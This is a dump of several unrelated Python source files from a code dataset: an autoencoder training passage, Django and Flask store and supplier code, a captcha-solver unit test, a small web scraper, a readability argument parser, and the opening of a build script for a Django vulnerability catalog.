d_relu)\n# self._outputLayer = Layer.Layer(nodeNum = self._inputNum, activation = sig, grad = d_sig)\n self._outputLayer = Layer.Layer(nodeNum = self._inputNum)\n \n self._layers = [self._smoothLayer,self._contextLayer,self._wmatrixLayer,self._outputLayer]\n \n # Connections\n # input layer to smooth Layer\n # 1-self._alpha\n# self._alpha = theano.shared(0.5)\n self._alpha = 0.5\n \n rat = np.sqrt(self._inputNum * self._k)\n # smooth layer to context layer\n # 1\n \n # context layer to smooth layer\n # W * self._alpha\n \n # smooth layer to h matrix layer\n # _h_star, _b_star\n _values = np.asarray(rng.uniform(low=0.1/rat,high=1./rat,size=(self._inputNum, self._k)))\n# self._h_star = theano.shared(value=_values, name='W_star', borrow=True)\n# self._b_star = theano.shared(np.zeros(self._k))\n self._h_star = _values\n self._b_star = np.zeros(self._k)\n \n # h matrix layer to output layer\n # _w, _b \n _values = np.asarray(rng.uniform(low=0.1/rat,high=1./rat,size=(self._k, self._inputNum)))\n# self._h = theano.shared(value=_values, name='W', borrow=True)\n# self._b = theano.shared(np.zeros(self._inputNum))\n self._h = _values\n self._b = np.zeros(self._inputNum)\n \n # one epoch\n def learn(self,inputData):\n if not len(inputData[0]) == self._inputNum:\n raise ValueError(\"Input number error: get \" + str(len(inputData[0])) + \", expect \" + str(self._inputNum))\n self._miniBatchSize = len(inputData)\n \n self._err = 0;\n h_change = np.zeros((self._k,self._inputNum))\n# b_change = np.zeros(self._inputNum)\n h_star_change = np.zeros((self._inputNum,self._k))\n# b_star_change = np.zeros(self._k)\n alpha_change = 0\n \n self._W=[]\n self._W_in=[]\n self._O=[]\n self._O_in=[]\n self._d_alpha=[]\n count = 0\n \n for sample in inputData:\n t0 = time.time()\n count += 1\n \n \"\"\" define neural network \"\"\"\n \"\"\" Forward \"\"\"\n # define input layer \n x = sample\n # define smooth layer\n # smooth function is f_(t+1) = alpha * W * f_t + (1-alpha) * f_0\n smIn = self._alpha * T.transpose(S.structured_dot(Datasets.W,T.transpose(T.as_tensor_variable([self._contextLayer.getAverageOut()])))).eval()[0] + np.multiply(x,1-self._alpha)\n smOut = self._smoothLayer.computeOut(smIn)\n# print(time.time()-t0)\n # define context layer\n # coIn = smOut\n # coOut = self._contextLayer.computeOut(coIn)\n \n # define h matrix layer\n# hmIn = np.dot(smOut,self._h_star) + self._b_star\n wmIn = np.dot(smOut,self._h_star)\n wmOut = self._wmatrixLayer.computeOut(wmIn)\n \n self._W_in.append(np.copy(wmIn))\n self._W.append(np.copy(wmOut))\n \n # define out layer\n# ouIn = np.dot(hmOut,self._h) + self._b\n ouIn = np.dot(wmOut,self._h)\n ouOut = self._outputLayer.computeOut(ouIn)\n \n self._O_in.append(np.copy(ouIn))\n self._O.append(np.copy(ouOut))\n \n # error function\n terr = ((x - ouOut) ** 2).sum()\n self._err += terr\n # update context layer\n self._contextLayer.computeOut(self._smoothLayer.getOutValues())\n \n \"\"\" Back propagation \"\"\"\n # error for out layer\n self._outputLayer.setErrors(\n (sample - self._outputLayer.getOutValues()) \n * self._outputLayer.getGrad()(self._outputLayer.getOutValues()))\n # error for h matrix layer\n self._wmatrixLayer.setErrors(\n np.dot(self._outputLayer.getErrors(),np.transpose(self._h)) \n * self._wmatrixLayer.getGrad()(self._wmatrixLayer.getOutValues()))\n # error for smooth layer\n self._smoothLayer.setErrors(\n (np.dot(self._wmatrixLayer.getErrors(),np.transpose(self._h_star))\n + self._contextLayer.getAverageError()) / 2\n * self._smoothLayer.getGrad()(self._smoothLayer.getOutValues()))\n # error for context layer\n# print(time.time()-t0)\n self._contextLayer.setErrors(\n self._alpha\n * S.structured_dot(T.as_tensor_variable([self._smoothLayer.getErrors()]),Datasets.W).eval()[0]\n * self._contextLayer.getGrad()(self._contextLayer.getOutValues()))\n# print(time.time()-t0)\n \n \"\"\" update weights\"\"\"\n h_change += np.dot(np.transpose([self._wmatrixLayer.getOutValues()]), [self._outputLayer.getErrors()])\n# b_change += self._outputLayer.getErrors()\n h_star_change += np.dot(np.transpose([self._smoothLayer.getOutValues()]), [self._wmatrixLayer.getErrors()])\n# b_star_change += self._wmatrixLayer.getErrors()\n# print(time.time()-t0)\n alpha_change_c = S.sp_sum(quickMul(Datasets.W,S.structured_dot(S.transpose(sp.csr_matrix(np.asarray([self._contextLayer.getAverageOut()]))), sp.csr_matrix(np.asarray([self._smoothLayer.getErrors()]))).eval())).eval()/Datasets.W_SUM \n alpha_change_i = np.sum(np.multiply(x,self._smoothLayer.getErrors()))/self._inputNum\n alpha_change += alpha_change_c - alpha_change_i\n# print(time.time()-t0)\n# atmp = S.sp_sum(S.mul(Datasets.W,S.dot(S.transpose(sp.csr_matrix(np.asarray([self._contextLayer.getAverageOut()]))), sp.csr_matrix(np.asarray([self._smoothLayer.getErrors()]))))).eval()\n# alpha_change_c = atmp/Datasets.NON_ZEROS\n# alpha_change_i = np.sum(self._smoothLayer.getErrors())/self._inputNum\n# alpha_change += alpha_change_c - alpha_change_i \n# self._d_alpha.append([np.copy(alpha_change_c),np.copy(alpha_change_i),np.copy(alpha_change)])\n self._d_alpha.append(np.copy(alpha_change))\n \n# Datasets.log(str(count) + \"/\" + str(len(inputData)) + \"err:\" + str(terr) + \"(\" + str(time.time()-t0) + \"s)\")\n# print(\"____________\")\n \n \"\"\" update network\"\"\"\n \n t0 = time.time()\n \n h_change /= self._miniBatchSize\n# b_change /= self._miniBatchSize\n h_star_change /= self._miniBatchSize\n# b_star_change /= self._miniBatchSize\n alpha_change /= self._miniBatchSize\n \n self._d_h = np.copy(h_change)\n# self._d_b = b_change\n self._d_h_star = np.copy(h_star_change)\n \n for layer in self._layers:\n layer.update()\n \n # penalty extra err\n a = T.matrix()\n f_penalty = theano.function([a], self._lamb * nlg.trace(T.dot(S.structured_dot(a,Datasets.L),T.transpose(a))))\n penalty = f_penalty(self._h)\n f_h_change = theano.function([a],-2 * self._lamb * T.transpose(S.structured_dot(Datasets.L,T.transpose(a))))\n h_change2 = f_h_change(self._h)\n \n self._hpe = h_change2\n \n # update weight\n self._h += self._eta * h_change + h_change2\n# self._b += self._eta * b_change\n self._h_star += self._eta * h_star_change\n# self._b_star += self._eta * b_star_change\n# self._alpha += self._eta * alpha_change\n self._alpha += 0.1 * alpha_change\n\n if self._alpha > 0.899: self._alpha = 0.899\n if self._alpha < 0: self._alpha = 0\n \n Datasets.log(\"err=\" + str(self._err / self._miniBatchSize) + \" penalty=\" + str(penalty))\n self._err = self._err / self._miniBatchSize + penalty \n# if self._eta 1000):\n self.save()\n break\n if(self._err < 0.01):\n self.save()\n break\n if epoch_num % 1 == 0:\n self.save(\"_\" + str(epoch_num))\n \n def save(self,str=\"\"):\n Datasets.dmpnp(\"w\" + str, self._W)\n Datasets.dmpnp(\"w_in\" + str, self._W_in)\n Datasets.dmpnp(\"o\" + str, self._O)\n Datasets.dmpnp(\"o_in\" + str, self._O_in)\n Datasets.dmpnp(\"h\" + str, self._h)\n Datasets.dmpnp(\"h_star\" + str, self._h_star)\n# Datasets.dmpnp(\"B\" + str, self._b)\n# Datasets.dmpnp(\"B_star\" + str, self._b_star)\n Datasets.dmpnp(\"d_alpha\" + str, self._d_alpha)\n Datasets.dmpnp(\"d_h\" + str, self._d_h)\n# Datasets.dmpnp(\"d_b\" + str, self._d_b)\n Datasets.dmpnp(\"d_h_star\" + str, self._d_h_star)\n# Datasets.dmpnp(\"d_b_star\" + str, self._d_b_star)\n Datasets.dmpnp(\"hpe\" + str, self._hpe)\n Datasets.dmpnp(\"s_err\" + str, self._smoothLayer.getAverageError())\n Datasets.dmpnp(\"c_err\" + str, self._contextLayer.getAverageError())\n Datasets.dmpnp(\"h_err\" + str, self._wmatrixLayer.getAverageError())\n Datasets.dmpnp(\"o_err\" + str, self._outputLayer.getAverageError())\n Datasets.dmpnp(\"s_out\" + str, self._smoothLayer.getAverageOut())\n Datasets.dmpnp(\"c_out\" + str, self._contextLayer.getAverageOut())\n# Datasets.dmpnp(\"h_out\" + str, self._wmatrixLayer.getAverageOut())\n# Datasets.dmpnp(\"o_out\" + str, self._outputLayer.getAverageOut())\n \ndef test_SmoothAE():\n data = Datasets.samples\n network = SmoothAE(len(Datasets.labels))\n network.train(data)\n \nif __name__ == '__main__':\n test_SmoothAE()","sub_path":"Main/SmoothAE.py","file_name":"SmoothAE.py","file_ext":"py","file_size_in_byte":12373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"271196669","text":"from rest_framework.routers import DefaultRouter\nfrom .views import (RfqSupplierHeaderViewSet, RfqSupplierDetailViewSet,\n QuotationSupplierHeaderViewSet, QuotationSupplierDetailViewSet)\n\nrouter = DefaultRouter()\nrouter.register(r'rfq_header',RfqSupplierHeaderViewSet, basename='rfq_header')\nrouter.register(r'rfq_detail',RfqSupplierDetailViewSet, basename='rfq_detail')\nrouter.register(r'quotation_header_supplier',QuotationSupplierHeaderViewSet, basename='quotation_header')\nrouter.register(r'quotation_detail_supplier',QuotationSupplierDetailViewSet, basename='quotation_detail')\n\n\nurlpatterns = router.urls\n","sub_path":"backend/supplier/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"10217876","text":"import unittest\n# simple_solver(https://github.com/ptigas/simple-CAPTCHA-solver)\nfrom captcha_decoder import decoder\nfrom captcha import captcha_to_string\nfrom PIL import Image\n\npath2expected = {\n 'capcha_07-12 00:33:15.png': 'CTCH',\n 'capcha_07-12 00:28:33.png': 'CP8F',\n 'capcha_07-12 00:26:43.png': 'CWJB',\n 'capcha_07-11 23:34:23.png': 'CQ3R'\n}\n\n\ndef format_result(expected, actual):\n result = \"True\" if expected == actual else \"False\"\n return f\"{result} {expected} {actual}\"\n\n\nclass TestCapchaSolvers(unittest.TestCase):\n\n def test_simple_solver(self):\n solver = decoder\n print(\"\\n\".join(format_result(answer, solver(path)) for path,\n answer in path2expected.items()))\n\n def test_solver(self):\n def solver(path):\n return captcha_to_string(Image.open(path))\n print(\"\\n\".join(format_result(expected, solver(path)) for path,\n expected in path2expected.items()))\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test_captcha_solver.py","file_name":"test_captcha_solver.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"11618698","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\n\r\nurl='https://baike.baidu.com/item/%E5%8C%97%E4%BA%AC%E5%9C%B0%E9%93%81/408485'\r\nuser_agent='Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36'\r\nheaders = {'User-Agent': user_agent}\r\n\r\ndef get_all_subway_links(url):\r\n page = requests.get(url,headers=headers)\r\n soup =BeautifulSoup(page.content,'html.parser',from_encoding='utf-8') #page.content表示被解析的html格式的内容,html.parser表示解析用的解析器\r\n links=set()\r\n for link in page.text.findAll('table')[0].findAll('a'):\r\n links.add('http://baike.baidu.com/item/' + link.get_text())\r\n\r\n return list(links)\r\n\r\nlinks=get_all_subway_links(url)\r\nprint(links)\r\n","sub_path":"Course/part2/code_work1.py","file_name":"code_work1.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"161960829","text":"from flask_injector import inject\nfrom stores.models.entities import Database\nfrom pony.orm import db_session, ObjectNotFound\n\n\nclass StoreService:\n @inject\n def __init__(self, db: Database):\n self.db = db\n\n @db_session\n def add_store(self, store_name):\n\n if self.db.model.Store.select(lambda s: s.store_name == store_name):\n return {'message': \"Store with name '{}' is already in use.\".format(store_name)}, 409\n\n store_db = self.db.model.Store(\n store_name=store_name\n )\n\n return store_db.to_dict(), 201\n\n @db_session\n def delete_store_by_store_name(self, store_name):\n\n store = self.db.model.Store.select(lambda s: s.store_name == store_name)\n\n if store:\n if store.first().items:\n return {'message': \"Store with name: '{}' has items in it.\".format(store_name)}, 403\n\n store.delete()\n return {'message': \"Store '{}' deleted\".format(store_name)}, 200\n\n return {'message': \"Store with name: '{}' does not exist.\".format(store_name)}, 404\n\n @db_session\n def get_store_by_store_name(self, store_name):\n\n store = self.db.model.Store.select(lambda s: s.store_name == store_name).first()\n\n if store:\n return store.to_dict(), 200\n\n return {'message': \"Store with name: '{}' does not exist.\".format(store_name)}, 404\n\n @db_session\n def get_stores(self):\n stores = self.db.model.Store.select()[:]\n\n result = [store.to_dict() for store in stores]\n\n return result, 200\n\n @db_session\n def get_store_items(self, store_name):\n store = self.db.model.Store.select(lambda s: s.store_name == store_name).first()\n\n items = [item.to_dict() for item in store.items]\n\n return items, 200\n","sub_path":"stores/services/StoreService.py","file_name":"StoreService.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"56911016","text":"import argparse\nimport logging\nfrom customexceptions.ReadabilityErrors import ArgumentParsingError\nfrom config.AppConfiguration import DEFAULT_OUTPUT_FILE_NAME\nfrom pathlib import Path,PurePath\n \nclass ParseArguments: \n def processArgs() -> dict:\n \"\"\"\n Method to receive system arguments, parse them and pass on to Lisiblite processor\n Either an input file or text content is necessary along with output format and output file name\n :return: The argument values in a dictonary\n \"\"\"\n parser = argparse.ArgumentParser(description = 'Calculate readability of a text, either input text or file is required along with output filename and format. Input file will have precedence over text.')\n parser.add_argument('-t', '--text', help='The text on which processing would be done needs to be within double quotes and 500 characters long')\n parser.add_argument('-o', '--output-file', help='The name of the output file containing readability metrics', required=True)\n parser.add_argument('-i', '--input-file', help='The name of the input file on which processing would be done' , type=argparse.FileType('r'))\n parser.add_argument('-f', '--format', help='The format of the output file, default is CSV',choices =['pdf','csv'], default = 'csv')\n args = parser.parse_args()\n inputText = args.text\n inputFile = args.input_file\n outputFile = args.output_file\n outputFormat = '.' + args.format\n outputFile = ParseArguments.validateArgs(inputFile,inputText,outputFile,outputFormat)\n return dict(text = inputText, file = inputFile, output = outputFile, format = outputFormat)\n \n \n def validateArgs(inputFile,inputText,outputFile,outputFormat):\n \"\"\"\n Method to validate all system arguments\n :return: The output file name\n \"\"\"\t\n if not inputFile:\n if not inputText:\n raise ArgumentParsingError('Either input file or text is necessary for computing readability')\n elif len(inputText) < 500:\n logging.debug(inputText)\n raise ArgumentParsingError('Input text length has to be minimum 500 for computing readability, currently has {} characters only'.format(len(inputText)))\n logging.debug(inputText)\n logging.info(f'Using input text')\n \n else:\n logging.info(f'Using input file {inputFile}')\n try:\n if not Path(outputFile).suffix:\n Path(outputFile).mkdir(parents=True, exist_ok=True)\n outputFile = Path(outputFile,DEFAULT_OUTPUT_FILE_NAME).with_suffix(outputFormat)\n else:\n outPath = PurePath(outputFile)\n Path(outPath.parent).mkdir(parents=True, exist_ok=True)\n outputFile = Path(outPath.parent,DEFAULT_OUTPUT_FILE_NAME).with_suffix(outputFormat)\n with open(outputFile, 'w'): pass \n except OSError:\n raise ArgumentParsingError(f'Output file cannot be written to due to permission issue')\n logging.info(f'Using output file {outputFile}')\n return outputFile\n \n \n \nif __name__ == '__main__':\n logging.info('calling')\n ParseArguments.processArgs()","sub_path":"code/arg_parser.py","file_name":"arg_parser.py","file_ext":"py","file_size_in_byte":3295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"311762672","text":"########\n#### setup.py: script to build and help development of the Vulnerability catalog.\n#### Date: 2019-Jun-13\n#### Version: 2.2.0\n#### Author: Daniel Avelino https://daavelino.github.io\n########\n\nimport sys\n\nMINIMAL_PYTHON_VERSION = (3, 6, 0)\n\npython_version = True\nif sys.version_info.major < MINIMAL_PYTHON_VERSION[0]:\n python_version = False\nif sys.version_info.major == MINIMAL_PYTHON_VERSION[0]:\n if sys.version_info.minor < MINIMAL_PYTHON_VERSION[1]:\n python_version = False\nif not python_version:\n min_python = str(MINIMAL_PYTHON_VERSION[0]) + '.' \\\n + str(MINIMAL_PYTHON_VERSION[1]) + '.' \\\n + str(MINIMAL_PYTHON_VERSION[2])\n error = '\\n[Warning]:\\n\\nMissing Python ' + min_python + \\\n ' (or greater).\\n\\n' + \\\n 'Please, get it at https://www.python.org/downloads.\\n\\n' + \\\n 'Aborting.\\n\\n'\n sys.stderr.write(error)\n sys.exit(1)\n \nimport secrets # secrets is New in Python 3.6.\nimport shutil\nimport os\nimport subprocess\nimport getpass\nimport re\nimport json\nimport time\n\nfrom pathlib import Path\n\nglobal PROJECT_NAME\nglobal APP_NAME\nglobal HOME_DIR\nglobal PYTHON_EXE\n\n\nPROJECT_NAME = 'base'\nAPP_NAME = 'catalog'\nHOME_DIR = Path(os.getcwd())\nBASE_DIR = Path(os.path.join(HOME_DIR, PROJECT_NAME,))\nPYTHON_EXE = os.path.split(Path(sys.executable))[-1]\nPIP_EXE = PYTHON_EXE.replace('python', 'pip')\n\ndef tuple_comparison(a, b):\n '''\n Evaluate tuples 'a' and 'b' as an ordered list of numbers \n and returns True if a >= b\n '''\n control = False\n for i in range(0, len(b)):\n if int(a[i]) >= int(b[i]):\n control = True\n break\n \n return control\n\n######## System properties:\ndef get_os():\n '''\n Returns a dictionary with OS system and version.\n The returned values are:\n\n Linux: 'linux'\n Windows: 'win32'\n Windows/Cygwin: 'cygwin'\n Mac OS X: 'darwin'\n '''\n env = dict()\n env['system'] = sys.platform\n \n return env\n\ndef check_parameters():\n allowed_params = {\n 'build': \"setup and builds the project from the scratch (with test data).\\n\",\n 'build-only': \"Just build project, without load data or create users.\\n\",\n 'build-novenv': \"same as 'build', but do not uses Python venv.\\n\",\n 'clean': \"remove all project related files.\\n\",\n 'createstartscript': \"creates the platform specific Catalog start script.\\n\",\n 'createsuperuser': \"creates an admin user to the catalog.\\n\",\n 'database': \"Setup an alternative database instead of default sqlite.\\n\",\n 'deep-clean': \"remove all project related files and venv structure.\\n\",\n 'loadtestdata': \"Add some test data into database.\\n\",\n 'templates': \"updates project's Templates, forms and static files only.\\n\",\n 'update-js': \"updates external JavaScript dependencies\\n\",\n 'urlsviews': \"updates project's Urls and Views only.\\n\" \n }\n # one and only one allowed parameter has to be passed.\n if (len(sys.argv) == 2) and (sys.argv[1] in allowed_params.keys()):\n param = sys.argv[1] # Because argv[0] is the file name.\n return param\n else:\n sys.stderr.write('\\nUsage:' + sys.argv[0] + ' , where are:\\n\\n')\n for i in allowed_params.items():\n sys.stderr.write(' ' + i[0] + ': ' + i[1])\n sys.stderr.write('\\nExiting.\\n')\n sys.exit(1)\n\ndef check_venv():\n ''' Check if Python's virtual environment is activated.'''\n param = check_parameters()\n if param == 'build-novenv':\n return True\n elif param == 'clean' or param == 'deep-clean':\n pass\n else:\n if 'VIRTUAL_ENV' not in os.environ.keys():\n message = \"\\n[Warning]: You are not using a Virtual environment.\\n\\n\\n\" \\\n + \"**** If not sure, type [ctrl]+[c] to exit. ****\\n\\n\\n\" \\\n + \" We encourage the usage of a Virtual environment in a non dedicated system.\\n\\n\" \\\n + \" You can activate it by:\\n\\n\" \\\n + \" 1. create a new Virtual environment directory by running:\\n\\n\" \\\n + \" \" + PYTHON_EXE + \" -m venv venv\\n\\n\" \\\n + \" 2. load it by running:\\n\" \\\n + \" 'source venv/bin/activate' (Linux/MacOs system)\\n\" \\\n + \" 'venv\\\\Scripts\\\\Activate.bat' (Windows system)\\n\\n\" \\\n + \" If you choose not use a Virtual environment, remember that you can remove the installed dependencies by running\\n\\n\" \\\n + \" 'pip uninstall -r requirements.txt' \\n\\n\"\n \n sys.stdout.write(message)\n time.sleep(10)\n \n return True\n\n return True\n\ndef check_pip():\n '''Check if pip is installed. If not, install it properly.'''\n try:\n import pip\n except ImportError: # Exit, since it is a required dependency.\n sys.stdout.write('\\n[Warning] Missing pip.\\n')\n sys.stdout.write('Please, install it first from here (https://pip.pypa.io), or from your package manager.\\nExiting.\\n')\n sys.exit(1)\n\ndef check_requirements():\n '''Ensure requirements.txt is satisfied.'''\n os.system(PIP_EXE + ' ' + 'install -r requirements.txt')\n sys.stdout.write('Done\\n')\n\ndef check_system_reqs():\n check_pip()\n check_requirements()\n\ndef deep_clean(control):\n '''Cleaning out old project structure'''\n env = get_os()\n system = env['system']\n sys.stdout.write('Cleaning out old project structure...\\n')\n \n if control == 'deep-clean':\n if 'VIRTUAL_ENV' in os.environ.keys():\n message = \"\\n[Warning]:\\n\\n\" \\\n + \"Please disable the Virtual environment first by running:\\n\\n\" \\\n + \" 'deactivate'\\n\\n\" \\\n + \"and run this script again. Aborting.\\n\"\n sys.stderr.write(message)\n sys.exit(-1)\n else:\n target = Path(os.path.join(os.path.curdir, 'venv'))\n if target.is_dir():\n shutil.rmtree(target)\n target = Path(os.path.join(os.path.curdir, 'base'))\n if target.is_dir():\n shutil.rmtree(target)\n\n\n if system.startswith('linux') or system.startswith('darwin'):\n filename = 'run.sh'\n if system.startswith('win32'):\n filename = 'run.bat'\n if os.path.isfile(filename):\n os.remove(filename)\n sys.stdout.write('Done\\n')\n\n \n######## End of System properties.\n\n######## Django properties:\ndef start_django_project():\n '''Starts Django's project creation.'''\n sys.stdout.write('Starting creating Django structure...\\n')\n os.system('django-admin startproject' + ' ' + PROJECT_NAME)\n os.chdir(BASE_DIR)\n os.system(PYTHON_EXE + ' ' + 'manage.py startapp' + ' ' + APP_NAME)\n os.chdir(HOME_DIR)\n sys.stdout.write('Done\\n')\n\ndef importing_settings():\n '''\n Applying settings from \n metadata/settings/settings.py\n into project's structure\n '''\n sys.stdout.write('Copy settings.py from metadata...\\n')\n src_path = os.path.join(os.path.curdir, \\\n 'metadata', \\\n 'settings', \\\n 'settings.py')\n dst_path = os.path.join(os.path.curdir, 'base', 'base', 'settings.py')\n shutil.copy(src_path, dst_path)\n sys.stdout.write('Done\\n')\n\ndef set_datamodel():\n '''\n Applying catalog data models from\n metadata/models/catalog/models.py and\n metadata/models/catalog/admin.py \n into project's structure.\n '''\n env = get_os()\n sys.stdout.write('Copy data models...\\n')\n src_path = os.path.join(os.path.curdir, \\\n 'metadata', \\\n 'models', \\\n 'catalog', \\\n 'models.py')\n dst_path = os.path.join(os.path.curdir, 'base', 'catalog', 'models.py')\n shutil.copy(src_path, dst_path)\n src_path = os.path.join(os.path.curdir, \\\n 'metadata', \\\n 'models', \\\n 'catalog', \\\n 'admin.py')\n dst_path = os.path.join(os.path.curdir, 'base', 'catalog', 'admin.py')\n shutil.copy(src_path, dst_path)\n sys.stdout.write('Done\\n')\n sys.stdout.write('Applying data models...\\n')\n os.chdir(PROJECT_NAME)\n os.system(PYTHON_EXE + ' ' + 'manage.py makemigrations' + ' ' + APP_NAME)\n os.system(PYTHON_EXE + ' ' + 'manage.py sqlmigrate' \\\n + ' ' \\\n + APP_NAME \\\n + ' ' \\\n + '0001')\n os.system(PYTHON_EXE + ' ' + 'manage.py migrate')\n os.chdir(BASE_DIR)\n sys.stdout.write('Done\\n')\n\ndef set_urls():\n '''\n Applying settings from \n metadata/urls/catalog/urls.py and\n metadata/urls/catalog/urls.py\n into project's structure.\n '''\n sys.stdout.write('Setting Urls...\\n')\n os.chdir(HOME_DIR)\n src_path = os.path.join(os.path.curdir, \\\n 'metadata', \\\n 'urls', \\\n 'admin', \\\n 'urls.py')\n dst_path = os.path.join(os.path.curdir, 'base', 'base', 'urls.py') \n shutil.copy(src_path, dst_path)\n src_path = os.path.join(os.path.curdir,\\\n 'metadata', \\\n 'urls', \\\n 'catalog', \\\n 'urls.py')\n dst_path = os.path.join(os.path.curdir, 'base', 'catalog', 'urls.py')\n shutil.copy(src_path, dst_path)\n sys.stdout.write('Done\\n')\n\ndef set_views():\n '''\n Applying settings from \n metadata/views/catalog/* \n into project's structure.\n '''\n sys.stdout.write('Setting Views...\\n')\n os.chdir(HOME_DIR)\n src_path = os.path.join(os.path.curdir,'metadata', \\\n 'views', \\\n 'catalog', )\n dst_path = os.path.join(os.path.curdir, \\\n 'base', \n 'catalog', )\n for i in os.listdir(src_path):\n fsrc = os.path.join(src_path, i)\n shutil.copy(fsrc, dst_path)\n sys.stdout.write('Done\\n')\n\ndef set_templates():\n '''\n Applying settings from \n metadata/templates/catalog/*\n into project's structure.\n '''\n sys.stdout.write('Setting templates...\\n')\n os.chdir(HOME_DIR)\n files = [\n 'add.html',\n 'converter.html',\n 'delete.html',\n 'detail.html',\n 'fastupdate.html',\n 'home.html',\n 'index.html',\n 'panorama.html',\n 'search.html',\n 'update.html',\n 'upload.html'\n ]\n tmpl_srcdir = os.path.join(os.path.curdir, \\\n 'metadata', \\\n 'templates', \\\n 'catalog',)\n tmpl_dstdir = os.path.join(os.path.curdir, \\\n 'base', \\\n 'catalog', \\\n 'templates', \\\n 'catalog',)\n tmpl_main_path = os.path.join(tmpl_srcdir, 'tmpl_main.html')\n # ensuring tmpl_dstdir exists:\n if not Path(tmpl_dstdir).is_dir():\n os.makedirs(tmpl_dstdir)\n # reading tmpl_main.html data content:\n fd = open(tmpl_main_path, 'rb') # 'rb' to avoid encoding problems.\n tmpl_main_data = fd.read()\n fd.close()\n for i in files:\n tmp = ''\n tmp = i.split('.')\n context = tmp[0]\n # the template files with custom content are :\n content_file = context + '_custom_content.html'\n content_file = os.path.join(tmpl_srcdir, content_file)\n fd = open(content_file, 'rb') # 'rb' to avoid encoding problems.\n custom_data = fd.read()\n fd.close()\n # all these templates are wrapped to tmpl_main.html (tmpl_main_data)\n tmpl_final_file = os.path.join(tmpl_dstdir, i)\n fd = open(tmpl_final_file, 'wb') # 'wb' to avoid encoding problems.\n data = tmpl_main_data.replace(b'__INSERT_CUSTOM_CONTENT__', \\\n bytes(custom_data))\n fd.write(data)\n fd.close()\n\n '''\n Put risk/cvss calculators into Add form templates.\n It will look for the __RISK_CALCULATOR__ and \n __CVSS_CALCULATOR__ tags.\n '''\n calculators = {\n 'cvss': 'cvss_custom_content.html',\n 'risk': 'risk_custom_content.html'\n }\n modals = {\n '1': 'tmpl_calculators_modal.html'\n }\n templates_with_calculator = [\n 'add.html',\n 'update.html',\n 'fastupdate.html']\n for i in templates_with_calculator:\n #### Insert [risk,cvss]_custom_content.html\n risk_calc_path = os.path.join(tmpl_srcdir, calculators['risk'])\n cvss_calc_path = os.path.join(tmpl_srcdir, calculators['cvss'])\n modal_path = os.path.join(tmpl_srcdir, modals['1'])\n target_template = os.path.join(tmpl_dstdir, i)\n\n fd = open(risk_calc_path, 'rb')\n risk_calc_data = fd.read()\n fd.close()\n fd = open(cvss_calc_path, 'rb')\n cvss_calc_data = fd.read()\n fd.close()\n fd = open(modal_path, 'rb')\n modal_data = fd.read()\n fd.close()\n fd = open(target_template, 'rb')\n target_data = fd.read()\n fd.close()\n\n if (b'__CALCULATORS_MODAL__' in target_data):\n target_data = target_data.replace(b'__CALCULATORS_MODAL__',bytes(modal_data))\n if (b'__RISK_CALCULATOR__' in target_data):\n target_data = target_data.replace(b'__RISK_CALCULATOR__',bytes(risk_calc_data))\n if (b'__CVSS_CALCULATOR__' in target_data):\n target_data = target_data.replace(b'__CVSS_CALCULATOR__',bytes(cvss_calc_data))\n \n fd = open(target_template, 'wb') # 'wb' to avoid encoding problems.\n fd.write(target_data)\n fd.close() \n sys.stdout.write('Done\\n')\n\ndef set_login_template():\n sys.stdout.write('Setting login template...\\n')\n os.chdir(HOME_DIR)\n tmpl_srcdir = os.path.join(os.path.curdir, \\\n 'metadata', \\\n 'templates', \\\n 'catalog', \\\n 'login.html')\n tmpl_dstdir = os.path.join(os.path.curdir, \\\n 'base', \\\n 'catalog', \\\n 'templates', \\\n 'catalog',)\n if not Path(tmpl_dstdir).is_dir():\n os.makedirs(tmpl_dstdir)\n shutil.copy(tmpl_srcdir, tmpl_dstdir)\n sys.stdout.write('Done\\n')\n\ndef set_admin_template():\n # we just need to put static files in the right place.\n sys.stdout.write('Setting admin template confs:\\n')\n os.chdir(HOME_DIR) \n os.chdir(BASE_DIR)\n os.system(PYTHON_EXE + ' ' + 'manage.py collectstatic --noinput')\n os.chdir(HOME_DIR) \n sys.stdout.write('Done\\n')\n\ndef set_forms():\n sys.stdout.write('Setting Forms...\\n')\n os.chdir(HOME_DIR)\n src_path = os.path.join(os.path.curdir,'metadata', \\\n 'forms', \\\n 'catalog', )\n dst_path = os.path.join(os.path.curdir, \\\n 'base', \\\n 'catalog', )\n for i in os.listdir(src_path):\n fsrc = os.path.join(src_path,i)\n shutil.copy(fsrc, dst_path)\n os.chdir(HOME_DIR)\n sys.stdout.write('Done\\n')\n\ndef set_static_files():\n sys.stdout.write('Setting Static Files...\\n')\n os.chdir(HOME_DIR)\n src_path = os.path.join(os.path.curdir, \\\n 'metadata', \\\n 'static', \\\n 'catalog', )\n dst_path = os.path.join(os.path.curdir, \\\n 'base', \\\n 'catalog', \\\n 'static', )\n if Path(dst_path).is_dir():\n shutil.rmtree(dst_path)\n shutil.copytree(src_path, dst_path)\n os.chdir(HOME_DIR) \n sys.stdout.write('Done\\n')\n\ndef deployment_checklist():\n sys.stdout.write('Deployment checklist...\\n')\n # https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/\n key = secrets.token_hex(64)\n src_path = os.path.join(HOME_DIR, \\\n 'metadata', \\\n 'settings', \\\n 'settings.py')\n dst_path = os.path.join(HOME_DIR, 'base', \\\n 'base', \\\n 'settings.py')\n # Open template file and copy its content to avoid data appending:\n fd = open(src_path, 'r')\n data = fd.read()\n fd.close()\n # https://goo.gl/PtCXNN\n fd = open(dst_path, 'w')\n data = data.replace('__SECRET_KEY__', key)\n fd.write(data)\n fd.close()\n sys.stdout.write('Done\\n')\n\ndef load_test_data():\n sys.stdout.write('Loading data 